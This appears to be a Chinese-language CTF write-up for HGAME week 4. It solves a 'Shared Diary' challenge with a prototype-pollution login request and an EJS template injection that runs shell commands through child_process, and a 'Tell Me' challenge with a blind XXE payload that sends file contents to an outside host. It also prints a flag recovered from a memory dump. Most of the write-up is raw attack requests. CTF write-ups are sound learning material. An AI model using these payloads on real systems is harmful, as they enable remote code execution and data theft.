web

Shared Diary

```
POST /login HTTP/1.1
Host: week-4.hgame.lwsec.cn:32164
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Content-Length: {{Content-Length}}
Content-Type: application/json
Origin: http://week-4.hgame.lwsec.cn:32164
Pragma: no-cache
Referer: http://week-4.hgame.lwsec.cn:32164/login
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70

{"username":"abc","constructor":{"prototype":{"role":"admin"}}}
```

Content-Type需要改为application/json

进行原型链污染，获取session

```
POST / HTTP/1.1
Host: week-4.hgame.lwsec.cn:32164
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Origin: http://week-4.hgame.lwsec.cn:32164
Pragma: no-cache
Referer: http://week-4.hgame.lwsec.cn:32164/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70
Cookie: session=s%3AburWnN_2wQl1or4gDy4IeSe3CaerGCgw.nkVbFcoWzroDxXGqAF31otIjjxK85Kw28UVULJ0n4zQ

diary=%3C%25-
+global.process.mainModule.require%28%27child_process%27%29.execSync%28%27cat+%2Fflag%27%29+%25%3E
```

ejs模板注入，直接cat /flag

Tell Me

一眼xxe

payload

```
POST /send.php HTTP/1.1
Host: week-4.hgame.lwsec.cn:31458
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Content-Length: 63
Content-Type: application/xml;charset=UTF-8
Origin: http://week-4.hgame.lwsec.cn:31458
Pragma: no-cache
Referer: http://week-4.hgame.lwsec.cn:31458/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70
X-Requested-With: XMLHttpRequest

<?xml version="1.0"?>
<!DOCTYPE foo[
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
    <!ENTITY % remote SYSTEM "https://baimeow.cn/evil.dtd">
    %remote;
    %all;
    %send;
]>
```

evil.dtd

```
<!ENTITY % all "<!ENTITY &#x35; send SYSTEM 'http://baimeow.cn:25003/%file;'>">
```

mics

ezWin - variables

`strings desktop/win10_22h2_19045.2486.vmem |grep hgame`

HGAME_FLAG=hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}

原来指的是环境变量